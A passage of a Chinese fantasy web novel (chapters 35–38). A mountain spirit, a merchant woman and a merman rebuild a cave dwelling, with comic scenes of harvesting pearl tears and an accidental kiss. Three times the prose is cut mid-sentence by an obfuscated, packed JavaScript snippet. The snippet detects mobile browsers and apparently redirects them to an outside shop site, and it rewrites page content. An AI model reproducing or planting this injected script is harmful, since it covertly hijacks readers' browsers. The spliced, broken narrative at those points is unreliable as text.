程衣想了想,还是上前叫醒了他。 “别睡了,快,今日把洞里的东西清理出来,明日选址,后日开工。” 怀信怒目而视:“弯弯绕绕,匪夷所思,直接逃走就是,你走不走?” 程衣摇头:“你不是逃过吗?可逃走了?”她将纸笔揣进怀里,“再说了,我可不敢跟你走,谁晓得你会不会半路杀我。” 怀信冷笑一声,干脆利落地起身,说是要搬石头。 程衣瞧了瞧几处烂糟糟的小石堆,眉头渐渐蹙起:“这就是你搬的石头?”她用手指拈起一颗,就着阳光细细打量,不过鸡蛋大小。 他就能累成这样? 程衣再忍不了,撸起袖子望着块水瓢大的石头,蹲下,用力,一气呵成,阔步流星,不一会儿就搬到旁边去了。 怀信见此情形,心头竟涌上来一丝不服气,他找了块跟程衣怀里那块差不多大小的石头,学着她模样蹲下,用力,一气呵。 再来。 一气呵,一气,一…… 一而再,再而衰,三而竭。 程衣又搬了一块,波澜不惊地从他旁边经过,在怀信的视线里,只看得到她翻飞的裙角扬起淡淡的光晕。 鲛人灵巧,力气却不足,特别是他之前耗尽心力杀灭船上的海盗,又在山里被折磨良久,到现在还没恢复过来。 罢了,他将抬起了半个角的石头放下,煞有其事地站直了身子。 程衣却在此时抱着石头退了回来,她朝怀信旁边偏了两寸,确认这妖不会再控制她,也不会杀她后。 她终于问出了心中所想:“你之前干嘛亲我?” “还两次。” 35. 一双邪恶死鱼眼 怀信面色不惊,平静如水:“渡气而已,你想多了。” 程衣点点头:“你不说我也知道,第一回救我是想留着性命问珠子的来历,至于第二回,我虽昏睡着,却有感觉,你是为了在山君面前装纯良吧?” 怀信的表情终于出现了一丝裂缝,从未有人如此直白而不在意地指出他所作所为之动机,若在从前,他对这样的人向来没有宽容之心,蓄些力气,杀了就是。 可偏偏程衣面容沉静,并无幸灾乐祸,一双眼睛里没有什么情绪。 他愣在原地,说不出话。 “那珠子我确实不知真相,先前的道歉你若是嫌弃不够郑重,我重新来一次也无妨。”她顿了顿,“如今我只想快点修好山君塌掉的洞府,一寸光阴一寸金,我的商行进钱如流水,程家缺了我不行,你若同意,我觉得你杀我两次,救我两次,我便不再计较,此后也不再打贩卖珍珠的主意。” 怀信被她连珠炮似的话打得脑袋发愣,他只有一个脑子,哪里听得来这么多话,绕来绕去,不就是想与他两清嘛。 可此前自己的杀意,半分未藏,逮到机会就想杀,这人凭什么原谅他。 定有条件。 “只是有个条件。” 怀信冷笑一声,果不其然,他可太讨厌凡人了,才不想与她做交易。 “你自此刻起不许有杀我之心,我二人全心全力修好山君的房子,此后……” 怀信依旧冷冷地看着她,不言语,就想看这人一张舌灿莲花的嘴能吐出什么芬芳话语来。 “若你愿意,可同我回人间,我亦可助你找到残害母亲的真凶。” 怀信又愣住,半晌,终于重重点了点头。 程衣立在那里,经过昨夜的梳理适应,她已经很能接受自己碰到了妖,遇到了仙,重整旗鼓一番,又是平日里那个从不拖泥带水的商行主人了。 终于腾出一块空地,巨大的石桌显露出来,程衣用袖子擦拭一番,铺好纸笔,开始聚精会神地作图。 怀信在旁边清理,忙碌的间隙总忍不住偏头去看背影,瘦削的肩膀上浸着些阳光,似乎也没有那么想杀了。 可他却不会后悔,要是重来一次,他依旧会毫不犹豫地杀了程衣,他遵循族中意志,向来是宁可错杀,绝不放过。 叔伯兄弟,都是同他一样纯粹的邪恶小妖,唯有母亲不同,她从不吃人,说话温声细语,心地善良,甚至救过不少溺水之人,最后却落得个死局。 人才是世间最邪恶所在。 他又不自觉磨牙,可又兀的反应过来程衣方才所言,真凶?她真能帮他找到真凶? 微风拂过,他都没发现自己什么时候站到了程衣身后,目光正落在她执笔的手上。 “你觉得如何?”程衣语气中不带笑意,却莫名叫人觉得有雀跃之意。 怀信这才将目光挪到图纸上,他扫了一眼,指着一处小门:“这间,为何画两个门?” 程衣咳嗽两声:“山君说的,照做就是。” “啪嗒——” “骨碌碌——” 程衣眼看着一个指甲盖大小的鲛珠滚落在图纸上,流光溢彩,圆润非凡。 她动作极快地用两指拈住,拿到眼前细细打量,与生俱来的习惯让她忍不住开始品鉴:“成色不错,不及上品,把玩倒是尚可,配上金银打做珠钗或许可再上一阶,不过上限最多……” 她反应过来,连忙止住话头,回身望了眼怀信,将珠子递给他:“你,你流的?” 怀信不接,反倒是有些奇异地摸了摸眼角,他怎么会突然流泪呢? 从前他也溜到人间玩乐,钱财不够便熏熏眼睛挤点猫尿,拿着珠子换钱玩。 “传闻鲛人泣泪成珠,果不其然!”程衣惊讶,“那这便是你此生唯一一颗?” 怀信一把抓回来握在掌心:“哼,随便看了些志怪小说就胡言乱语,谁同你说这是我此生唯一一颗珠子。” “鲛人只有在最痛苦,最接近死亡的时候才会泣出一颗稀世珍宝,平日里的,无伤大雅,故而人间那些……”说到这里,他不接着下去,而是咬牙切齿起来。 程衣沉默了会儿,自觉上手将他掌心里的鲛珠扣出来:“既然如此,还担心什么,我拿去献给山君。” 怀信:? * 献流端着一盘黑乎乎的东西,一脸期待地望着扶西:“我同小侯学的,如何?” 扶西望着他头顶招摇又雀跃的草芽,心如死灰,不是,献流怎么还在傻着。 召了两坨人来就这么耗费仙力吗?一个晚上都没缓过来。 “尝尝。”他眼睛里闪着光。 扶西笑容僵硬,这东西不可名状,黑糊糊的怪恶心,这人难道傻到看不来吗? “不,我不吃了,我不饿。” 献流脸色霎时灰败下来:“你不喜欢吗?” 扶西点点头:“确实,不太喜欢。” 本想着若他恢复过来,到时候建房子就不需要大家努力了,只消这献流鬼影一样刷刷地移过去,她相信平地起高楼不成问题。 “原来,不喜欢么……”他耷拉着眉眼,似乎受了很大的伤, 扶西叹口气,不是,这人到底是委屈给谁看啊。 她深吸一口气,拿起盘子边上的勺,舀了一点:“这,是什么?” 献流微笑:“淤泥粥,大补。” 扶西蹙眉,芋泥这东西她在人间见过,也不是这个颜色啊…… 望着勺子里的东西,心一横,缓缓将勺子递到鼻尖,轻轻嗅了嗅,有点腥气。 小侯灰头土脸地拿着锅铲出来:“山君——别吃——” 扶西趁机放下勺子,拍了拍献流的肩膀,抚慰道:“啊呀,小侯找我,我下回再吃吧。”言罢她立刻迎上去。 “这是怎么回事?”她朝着献流的方向挤眉弄眼。 小侯神色不虞:“他今日起了个大早,不由分说地按进厨房,就要做早点。” “一会儿说要蒸包子,一会儿又说要做胡饼,才开始烧火,就差点把厨房炸了!”小侯声泪俱下地控诉,“我攒了那么久的锅碗瓢盆,差点都被他毁了。” “山君,你好好管管他!” 扶西拍着他背给顺顺气:“好好好。” “那到底是什么东西?” 小侯将锅铲放下:“正要跟你说,他觉得你一棵树只喝粥没营养,硬是到后山荷花池里挖了淤泥加进去,说给你补补……” 原来是这个淤泥…… 扶西笑容又僵在脸上,只觉得此贼折磨人的方式还真是千奇百怪,数不胜数,乍一听只觉得他脑子有病,可细细想想也不是没有道理。 可她大了,不是小时候长身体了,不用吸淤泥。 一回头,献流正捧着这碟子黑乎乎的淤泥粥望着她,眉毛微微压低,牛高马大的人就这样稍稍扁着点嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14201078|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去十分冤枉。 扶西叹口气,竟没想到自己就这么走过去自然而然地安慰起来:“我谢谢你的心意,可这东西真吃不了。”她居然思考起来,“不如你送给红生,他此时正是恢复修整的时候……” 献流眉毛蹙得更紧:“罢了,我扔了去。” 望着他踱步而去的背影,扶西不解起来,真是敬酒不吃吃罚酒,她一个堂堂的山君都纡尊降贵地劝解他了居然还不满意,天底下哪有这么难伺候的仆人。 不对! 她怎么就熟门熟路地去安慰此贼了,如今不打不骂难道不是是她最大的恩赐吗? 想到这里,扶西收回脚步,她真是操心过头了。 在山里转悠了会儿,又遇上程衣笑意盈盈地迎上来。 “山君!” 她衣裳飘飘,容颜生光,变戏法似的从袖中掏出一颗泛着七彩光芒的珍珠:“怀信泣珠,特来献给山君。” 扶西将信将疑地接过来:“听闻鲛珠大补,食之可聚天地之灵,加快修炼,是不可多得宝贝。”她将珠子在手里转了一圈,“真给我啊?” 怀信冷哼一声:“爱要不……” 程衣撞了撞他肩膀:“他的意思是,山君若还想要,他马上就给。” 怀信的表情变作不可思议:“你,你说什么?” 扶西咧嘴一笑,根本没注意到怀信的变化:“真的吗?太好了,我正缺这些东西呢!” 程衣笑得依旧那样得体大方:“是啊,山君要多少,他就能给多少。” 扶西一听,眼睛都比平日亮了几分,忙不迭地按住怀信双肩,语气不复之前的平淡,反而很是雀跃:“太好了!扶西山重建有人了,我果然没看错你,第一次见你,就知道你看着邪恶,心底其实还是有些良知的。” 怀信听得云里雾里,这山君像是在夸自己,可听着又不太像。 程衣趁热打铁,一只脚箍住怀信意欲上前的左脚,身子往扶西那边倾过去,从怀里掏出图纸,还是五张。 扶西望向两人,心中愈发舒坦。 若是小贼能像这两人一般懂事,她哪里还有那么多愁绪。 程衣将五份图纸一一摆开,立刻开始介绍,详略得当,舌灿莲花,听得扶西连连点头,赞许之声不断。 “这个好!” “这个也好!” “呀,这个也不错。” 程衣介绍完,退至一旁,抬手指向第一张图纸:“山君,此屋虽只有一层,可样样俱全,简约而不简单,风尚却又独特,精巧而不繁琐,最适合你们这样的三口,啊不,五口之家啦。”她说完立刻去打量扶西神色,这话她也有私心,一层地基简单,此图装饰不多,尽早完工方是正途。 扶西不说话。 程衣也紧张起来,她咬咬牙:“那不如……” “就第一个吧,挺好的。”她咧嘴笑了笑,“看着比安阳老头的院子好看。” 程衣松了口气,大风过境似的将图纸收好,身着脏污的衣裙,也站得挺拔似竹,很是干练:“那便明日开工!” 扶西目光在他二人身上过了一圈,程衣看着稍有些柔弱,旁边这个怀信额头似有乌云,朝她瞪着双邪恶死鱼眼,整个人虽高挑,却不够健硕。 这房子真交给两人建,怕是有些悬。 不过,她心中已然有了主意,将那颗程衣递来的珠子观赏一番,扶西朝着怀信摆摆手:“跟我来!” 36. 尴尬的初吻 怀信指了指自己,满脸不解:“为什么是我?” 他望了眼同样不太清楚情况的程衣,她竟笑着催促,用口型叫他快去。 扶西行了几步,见怀信依旧在原地,略作不满的样子扬了扬下巴。 怀信只好跟上。 谁料刚拐过一个弯,怀信便莫名觉得周遭阴森森的,他望着前行不停的扶西,竟生出些不合时宜的胆怯:“山君这是要带我去哪里?” 扶西不回头看他,语气有些敷衍:“你别急,我也不知道去哪呢。” 怀信闻言立刻停驻脚步:“山君,你也不知道?” 话音未落,扶西就跑过来扯住了他僵硬的身体,朝着山丘上的背影呼喊起来:“快快快!快来!补药自己送上门啦!” 艳阳之下,献流的身躯一块石头似的立在那里,听到扶西呼唤,他慢慢转过身子来,动作迟钝,端着个黑乎乎的盘子,形容叫人忍俊不禁。 他视线落到扶西衣袖上,又滑到扶西拉扯着怀信的手里,嘴角一拉,又快速转了回去。 扶西那里注意得到那么多,她似乎已经习惯了献流傻子的身份,这个时候都懒得与他计较,干脆扯着怀信登上山丘,甩到献流旁边。 怀信缩在地上瑟瑟发抖,昨夜他元气大伤,故今朝不好逃走,这山君瞧着慈眉善目,怎料心肠如此狠毒,竟想杀了他给这莫名其妙的男人作补。 他腿脚软如烂泥,几次想起身都趔趄着倒下,愈发心急如焚。 再下一刻,扶西已带着嘴角的笑意变戏法似的从怀里掏出绳子,三下五除二将他捆作了粽子。 他本能地挣扎,目眦尽裂:“你要做什么?昨夜你分明答应过我,只叫我们修好洞府就行的!” 扶西却来不及搭理他,只因献流这头倔牛不知哪根筋搭错了,竟一声不吭又下去了,扶西只好去追,见他不肯住脚,只好扯住他腰带。 谁想他不仅倔,力气也大的很,扶西在后头好说歹说:“都说了是与于修为恢复有益,你到底要去哪?” “等会儿跟他要个十几二十颗鲛珠,全给你补身体。” 见献流还是不肯停下,扶西一个纵身掠起,双腿对准献流的腰身,一双手扼命似的箍住献流的喉咙,整个人重重扑到献流背上。 此人身子一僵,果然停了下来。 扶西凑到他耳边,威胁道:“难道你不想快点恢复修为,早早离开扶西山吗?” 献流忽然沉默下来。 扶西得不到回应,竟莫名有些煎熬,加上感受着他背上的灼热,只觉得浑身上下难受得紧,尤其是心口,她想了想,正打算跳下来,耳边传来哐啷一声。 那装着黑粥的盘子咕噜噜滚到地上,扶西的目光随着盘子的滚动而停留时,腿弯却传来一阵温热的触感,一双宽大的手掌托住了她,稍有些紧,却不觉得难受。 她愣了愣。 献流转身带着她往回走:“腾不出手,我就把粥扔了。” 扶西见他态度终于松动,忍不住上手在他肩膀上重重拍了一下:“这多好,孽债早清,两相得宜。” 献流忽然又停了。 扶西不明所以,在他背上抖搂两下:“走哇?” 献流顿了会儿,扶西隐约可闻一阵轻轻的叹息,不过太轻了,她只觉得是听错了,她又拍拍献流的肩膀:“不然我还是下来吧......” “不必。”他往前跨了两步,“我不累。” 扶西抬起来的头收回来,用衣角擦了擦他背上的灰,侧头靠了下去,思忖着这人到底哪根筋搭错了,才会说些没头没脑的话。 这么近的路...... 两句话没想完,已然到了,怀信正蠕动下来,跟他们撞在一处。 扶西跳下来,立刻将面色惊恐的怀信按倒在地,又脱了外裳,一大片将怀信从胸膛到膝盖统统盖住,又将四个角用木楔子固定在地上。 怀信眼睛瞪得更大:“你要做什么?要做什么!” 他剧烈地挣扎起来,可惜身体因绳索过于压迫的束缚动弹不得,加上身上衣裳的阻挡,想滚到别处去也很难。 他终于软下来:“鲛人肉,不好吃的。”他鼻孔出气,怒火中烧却又不得不隐忍。 扶西愣了愣:“谁说要吃你?” 怀信表情一瞬间松动:“那,那是什么?” 扶西眼睛望着天空,唤下来一只鸽子,要来一把羽毛,若无其事道:“你刚刚都答应了,真是我要多少给多少吗?” 怀信反应过来,将头一偏:“我哭不出来,山君难道要强人所难吗?” 扶西将手里的羽毛分一半给献流:“谁说只有伤心才会哭。” 怀信暗叹不好,他梗着脖子,望着贼兮兮接近的扶西,心里慌了神:“你,你......” 不及说完,他就大笑起来:“哈哈哈哈哈哈哈哈哈!山,山君你,你不讲道义,哈哈哈!” 扶西兴奋地望着怀信的眼角,一面挠过他全身能挠的地方,一面催促着献流:“你也快点,哪里他笑得最大声,就挠哪里。” 献流迷茫地接过来,郑重其事地点点头,立刻一处处仔细寻找怀信身上最敏感最容易痒的地方,连头发丝也不放过。 他趁人之危,解掉了怀信的发带,目光先因为中央那个光溜溜的圆圈震动了会儿,下一刻便上手用羽毛挠起来。 “哈哈哈哈!我,你们,哈哈哈,别太过分,哈哈哈哈!我,我不会放过你们的,哈哈哈哈哈。” 怀信笑声不绝,眼角渐渐渗出眼泪来。 扶西机敏地凑上去,立刻用手接住,来不及细细观赏,就立刻打入献流体内。 淡淡的光晕闪过,扶西急切地询问:‘如何,有没有觉得体内仙气涌动?” 献流垂眸,认真感受一番,终于点了点头。 扶西朝怀信重重作揖:“鲛珠不愧是珍宝!”言罢她手上不停,认真地投入工作。 一颗、两颗、五颗、十颗...... 伴随着怀信带着些怒气的笑声渐渐弱下去,到二十四颗了。 忽然有一双手擒住了扶西的“不辞辛劳”的手腕,他声音压得低,从咬字中可窥见几分羞愧:“先停下。” 扶西心头一喜,忙不迭转过头去,眼看着献流头上的草芽以极快的速度缩回头顶:“太好了,你恢复了!”她一把扔掉手里的羽毛,颇为欣慰地朝献流亮出手掌。 献流望着她掌心越来越清晰的纹路,他唇角微微勾起,然后也抬起了自己的手,不想还未及与扶西击掌,她的手掌反而啪的一下拍在了自己额头上。 清脆的响声过后,献流终于彻底清醒过来,他以极快的速度收拾好自己的仪容仪表,终于分出注意来看向地上已经生无可恋,咬牙切齿的怀信。 他出言致歉:“抱歉,我们方才并非……” 可刚才确实是有意的,这要怎么圆? 献流顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223107|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那里,想了想立刻蹲下去给怀信松绑。 解脱的那一刻,怀信唇角歪歪,他动了动有些僵硬的关节,笑容带着几分邪气:“多谢你了。”几个字挤在齿间,几乎被咬碎。 献流自知理亏,俊美容颜上不复方才的懵懂,很是稳重妥帖,说话也不疾不徐:“此番是我行事不妥,待日后归,归家,定以十倍相还。” “哦,是吗?” 冠冕堂皇,怀信望着旁边面色喜悦的扶西,只觉得二人狼狈为奸,强取强拿,又来这里演好人,讨厌得很。 可他向来敏锐,眸光飞来飞去,终于在两人之间发现了一丝若有似无的端倪。 “山君。”怀信不再理会献流,转头朝扶西走去,花里胡哨的脸上露出灿烂的笑,他装样信手拈来:“我才不要这男人还我,以后你还给我不就好了。” 献流闻言,眉头拧起。 扶西不明所以,扁了扁嘴:“怎么还要还啊,方才不是你说要多少给多少吗?转头就不认……” 怀信在心里翻了个白眼,唇角弯弯,离扶西愈发近了:“那是,是我忘了,只要是山君要的,通天劈海我也取来。” 扶西乐呵呵地摆手:“哪有那么严重,你再痛快哭几场,掉出来的鲛珠都归我就好了。” “好啊。”他走得更近,眸光之中隐隐有蓝色的波纹跳跃。 扶西只觉得自己脑袋晕乎乎的,腿脚发软,站都站不稳了。 怎么回事? “扶西!” 好像有人叫她。 “别看他的眼睛。” 别看,别看什么来着…… 面前的人嘴唇启阖,却根本听不见他在说什么,扶西按住痛得生疼的脑袋,摇了摇头。 心头欲念骤起! 她莫名的…… 饿了…… 面前一切晃晃悠悠的,隐隐可见琳琅满目的美味佳肴,许多的烧鸡在天上飞,这其中还有一只开开合合的小扇贝。 香喷喷的,她这就来尝尝。 她凑过去,那扇贝以极快的速度飞朝一边,取而代之的,是一只飞得更高,长得更大更好看的扇贝。 奇怪,不是熟了,怎么又会飞,又会躲的,她要抓过来,烤熟才好。 一双胡乱飞舞的手终于抓到了那扇贝,她紧紧箍着,踮起脚,抬嘴就吃。 温热,柔软,似乎还受了惊吓。 扶西心头发笑,今天这扇贝她一定要吃到嘴里,于是她慢条斯理地用舌头撬开外壳,吮到里头鲜美的贝肉。 不想还不等叼到嘴里,又跑了! 她气急败坏,愈发努力,果不其然,在她攻势之下,这扇贝似乎是僵住了,亦或是死了,一动不动地等她享用。 扶西心头满意,于是重重咬下。 “呃——” 一声低沉的痛呼传入耳中,扶西动作顿住,开始缓慢地思考起来。 扇贝是这么叫的吗? 眼前的山珍海味缓缓退去,面前那个一开一合的活泼扇贝也渐渐消失,她只看得见张几乎看不清五官的脸。 至于为什么看不清,似乎是因为离得太近了…… 她迟钝地感受到口中的血腥味,脑袋轰的一下炸开。 “山君——刀下留……” 程衣呼喊的声音戛然而止,扶西感到周遭又陷入了诡异的安静,她忍不住吞了吞口水。 等一下,嘴巴里好像躺着个东西! 37. 你又骗我 扶西只觉得霎时间天旋地转,脑袋嗡嗡作响,她被火燎了似的一下子弹开三尺远,哪里还分得出目光来注意周遭。 周遭一片寂静,扶西脸颊烫得厉害,脑子纷乱,心里头乱七八糟想了一通,使出十二分力气安慰自己不过是中了鲛人的魅术罢了。 思及此处,她心里头舒坦不少,打眼一瞧,那怀信果真颤颤巍巍地从旁边走来,揉着脑袋,歪歪扭扭,才走了三四步,又跌倒在地。 程衣咳嗽两声,连忙将怀信提溜起来,开口打破这孤寂的沉默:“这仙君的力气也太大了,一掌就能拍飞怀信,真让我长见识了!” 她不说还好,她一说,献流只觉得唇上灼热更甚,他偏过头收敛面上情绪,平复心绪,眨巴了好几下眼睛,明明是扶西动手动脚,他却更心虚,心如鼓擂,震天动地。 扶西终于鼓起勇气朝他露出个不好意思的笑容,思索着该怎么告诉献流此事纯属意外,望他不要放在心上。 献流望着她动作,琢磨她表情,半晌,终于得出一个结论。 扶西约莫是害羞了。 确实,这样的事多少有些突然,莫说扶西,他也有一些。 平复完心绪,扶西终于想起程衣那句鬼哭狼嚎的刀下留啥,不禁凑过去:“你方才,说的什么来着?” 程衣表情尴尬:“我在那边听到怀信的哭嚎,还以为山君,山君要做什么呢……” “他好歹与我一齐来到岛上,为人虽十分讨厌,娇气做作,杀人如麻,形迹可疑,但也勉强算半个伙伴。”她吞吞口水,终于在扶西审视的目光下说了实话,“我怕山君杀了他,下一个就轮到我了!” 扶西听完松了口气,摆摆手道:“我从来说话算话,骗你们做什么。”她下意识拍了拍手掌,还以为有灰尘,“再说,单你们两个,不知建到猴年马月。” 扶西朝献流勾了勾手指,他便阔步流星,十分顺从地来到自己身边。 这下终于想起正事,扶西接过程衣递来的图纸,在献流面前摊开:“你多看两眼,记在心里。” 献流接过来,果真细细看起来,他修长的手指滑过图纸的每一寸墨迹,最后停留在一处有些奇怪的地方,他只觉得此处不合情理:“这间屋子为何做一大一小两个门。” 扶西刚想开口,程衣便即刻将话头接过来:“这个是人间现在最时兴的建法,尤其是上京城,有钱人家都这么造。” 献流顿了顿。 扶西却笑:“真的呀?还叫我赶上了,哈哈哈。” 程衣在心头瑟瑟发抖地抹了抹汗水,眼看着这山君好似缺心眼似的,人家帮她遮掩,她竟还要大大咧咧地再强调。 献流果真不再计较,不过半刻,他将图纸递回给扶西:“记住了。”这会儿他也反应过来大半了,瞧着扶西那双颇为狡黠的眼,他只觉得双腿蠢蠢欲动,身躯奇痒难耐,恨不得立刻飞起来。 果不其然,下一刻,扶西的号令如约而至:“好了,你去建吧。” 话音未落,献流便感受到自己的身体仿若离弦的箭,嗖的一下飞到山中地势最为平坦开阔之处,他撸起袖子环顾四周,整个人好似快速移动的木雕,噔噔噔,噔噔噔,不过短短一刻钟,此处已经被他清理出来。 扶西拉着程衣跑着跟过去,立在平地之外,眼看着献流的双手双腿移动得极快,连残影都快看不清了,在他有如鬼影的身体下方,是快速如春笋生长一般立起来的柱子,砖石,房梁。 灰尘四散,落叶飘飞,木头撞击,石块堆砌,哐哐哐,哐哐哐,这极为规律的声音也引来了其他的人的注意。 十一不知从哪里冒出个头来,她挤开程衣,凑到扶西肩膀周围,望着好似从地底长出来的房子:“山君!我们有新屋子住了!” 扶西方才的尴尬与不适在慢慢的期待与喜悦中一扫而空:“是啊,就快了。” “有我的房间吗?” 扶西弹了弹她脑袋:“那是自然,我几时亏待过你。” 十一蹭了蹭她肩膀,心满意足。 陆眠与小侯也过来了,两人立在外围,不曾寸进。 陆眠心绪飘飞,大屋子,大院子,就意味着大家伙都要住在一起,据他这段时间的观察,十一与小侯虽已成婚,平日里却并不住在一处,亲密的相处也不多见。 若这屋子建好,他二人定要住在一起,届时,他还是…… 还是去游历好了。 “天啊——” 程衣见面前情形,不禁惊呼出声,面前拔地而起的屋子居然同她的图纸别无二致,人间最好的匠人也做不到这个程度。 还这么快。 不愧是世外仙境,她缓步上前,望着院门口那两盆不知道怎么弄出来的松柏。 真是,连弯曲的弧度都和图上一模一样,有一处画的时候她涂改了一点,那处的叶子便攒作一团,密密麻麻。 扶西望着已然竣工的屋子满意极了,她忍不住雀跃的心情,连带着整个人都有些手舞足蹈,脚步滑过院门前的石头,足底却感知到一片凹凹凸凸的触感。 她扫开上头的落叶,果然看见那石板上刻了字。 “丙酉年腊月,程衣大大大作。” 扶西念出来。 程衣立刻红了耳朵,赶忙凑过来:“山君,先进里面看看吧。” 扶西哦了一声,正欲放下石板,却又触到背面的字迹,她翻过来,仔细看了眼。 画着个浑身冒火的小人,旁边的字迹虽潦草,却也辨认得出:“倒了大霉,天杀的,什么山君,什么神仙,什么狗屁鲛人,通通给老娘滚开!”扶西一字一句,声情并茂地读出来。 程衣意欲去搀扶她的手顿在半空,心里头忍不住想怎么这东西都能原模原样地造出来,脑子又快速地运作起来为自己想开脱的话。 不等她酝酿好,扶西已经将石板放了回去,她拍拍手掌的灰,想了想又将灰拍到程衣肩上:“看来我比怀信强。” 程衣:“?” “你骂他狗屁,可说我只加了‘什么’。” “山君,这些都是我一时愤懑写下来的,做不得数,我心里不是这么想的。”她辩解着,眼里透露出焦灼的情绪。 扶西却心情好得很,她现在没心思同一个小小凡人计较,若换位思考一番,正正常常做生意,正正常常出海,莫名其妙地被带到一处世外之地,期间再来几次谋杀未遂,任谁心情都不会好。 “无事,先进院里看看吧。” 程衣重重点点头,连忙上前推开院门。 扶西没受太大影响,她依旧在见到屋子时惊叹出声:“好漂亮!”她抬手指了指前头。 程衣立刻跟上去,细心地介绍起来,一行人跟着她从正厅移去偏厅,又跨过一道小门来到后院。 “这间,坐南朝北,又大又敞亮,正是特意为山君设计的。”程衣朝她眨巴眨巴眼睛,手还不轻不重地推了下暗门所在的位置。 还好,也建出来了。 扶西反应过来,连忙将十一拉过来,又朝着小侯招手:“这是我特意给你二人准备的!” 十一双眼放光,在屋子里上蹿下跳,最近跑过来抓住扶西的手:“多谢山君!我好喜欢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244824|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶西朝小侯扬了扬下巴:“你呢?” 小侯挠着后脑勺,面露不解:“好是好,可没有我睡觉的地方。” “你与十一睡在一处啊。” “啊?为什么?” 扶西拍他脑袋:“夫妻本就是要睡在一起的。” 小侯思考起来:“那山君与那么多人睡在一起,也都和他们是夫妻吗?” 扶西闻此,倒是很认真地思索起来,她蹙眉深思,竟觉得小侯所言有理,一时答不上来。 程衣仔细观察几人神情,连忙打圆场:“你二人是夫妻呀?是什么时候成的亲?” 十一上前点点头:“是呀,还是山君做的媒,她说人间互通心意的男女要成亲,顺手给我们办了,至于哪一天……” 竟记不清了…… “那男人掉下来那天。”小侯出言提醒。 “对对对,就是那天,几月初几来着,又记不清了……” 程衣只觉得落下来好大一本糊涂账,原来这屋子不是山君给自己备的,那这个暗门…… “对了,陆眠你来!” 扶西抬手,将暗门轻轻一推。 陆眠一惊,连忙跟着上去,只见暗门与墙面衔接无缝,旋转过后,进入了一处仅容两人并排的通道,不过极短,片刻后就到了另一处天地,也是个房间。 “是一处密室!莫非是做逃亡所用?” “以后你就住这儿了。” 两人一齐出声,又一齐陷入沉默。 陆眠捂住胸口,似觉心痛:“山君你说什么?” 程衣:“原来你就是那个小的。” 陆眠道:“山君,你糊涂啊……” 扶西却有些不太明白:“这不是前段日子,我们商量好的吗?我见你没提出异议,还以为你同意了呢。” 陆眠甩了甩衣袖背过身去:“山君,我以为你心灵明澈,通达知事,不想比小侯十一还要糊涂,三个糊涂蛋,做些糊涂事,如此,还要我住在这里做什么?” “给十一做小啊。” 扶西答得不疾不徐,不骄不躁。 陆眠望了眼十一,理智与情感不停地在脑海里打架,思忖半晌,还是重重拂袖,提脚意欲离去。 谁料十一竟上前抓住他衣袖:“陆眠,你真的不愿意吗?” 遭了,没想到这一遭,该死,陆眠心道,怎么十一会直接问出来呢? “我,我……” 十一定睛看着他。 陆眠挣开她的手:“十一,你与小侯既为夫妻,就应该一心一意,你既然选择了他,就不该再来招惹我。”说到此处,他眼底似有泪光。 十一认真听着,脑海中思绪万千。 扶西望着他匆匆离去的步伐,忍不住反思起自己来,难不成她真瞎做媒了? “十一,你喜欢小侯吗?” 十一听完,重重点头。 “小侯,你喜欢十一吗?” 小侯听完,也重重点头。 扶西又劝好了自己,把心放肚子里了。 程衣咳嗽两声:“在我们凡间,女子多养几个男侍倒也司空见惯,不过方才那位仙君刚烈,不欲屈居人下,仙子就不要勉强了吧。” 十一点点头,竟莫名有些怅然若失。 一行人又跟着程衣移动,来到最后一间房,扶西自然而然地占下:“以后我就睡这里了。” 程衣长舒一口气,只觉得大事已毕,可以同扶西商量立山事宜了。 众人背后却传来一句幽幽的声音。 “你又骗我。” 38. 儿子!为父对不起你! 扶西已然形成习惯,张口就道:“我怎么会骗你呢?”说完话这才慢悠悠地转过身来。 “哦呦!”她惊呼一声,往后撤了一步。 只见献流头顶招摇的草叶十分巨大,晃晃悠悠地垂到地上,还拖出去一大截,坠得他脑袋不得不稍稍向后仰以维持平衡。 此刻,他拖着曳地的绿叶缓缓从屏风后头挪出来,身上虽不见一丝尘土,形容却露出满满的疲惫:“我呢?我没有地方住吗?” 扶西恍惚了一阵才适应过来,努力憋住笑意胡说八道:“有啊,怎么没有,只是还没逛到那里罢了。” 程衣下意识地掰起指头计算起来,末了露出点为难的面色扯了扯扶西的衣袖,悄声道:“山君,似乎,确实并未安排上这位仙君的住所。” 扶西摆摆手,示意她不必理会,转而夸赞道:“还算满意,择日你们便启程离开吧。” 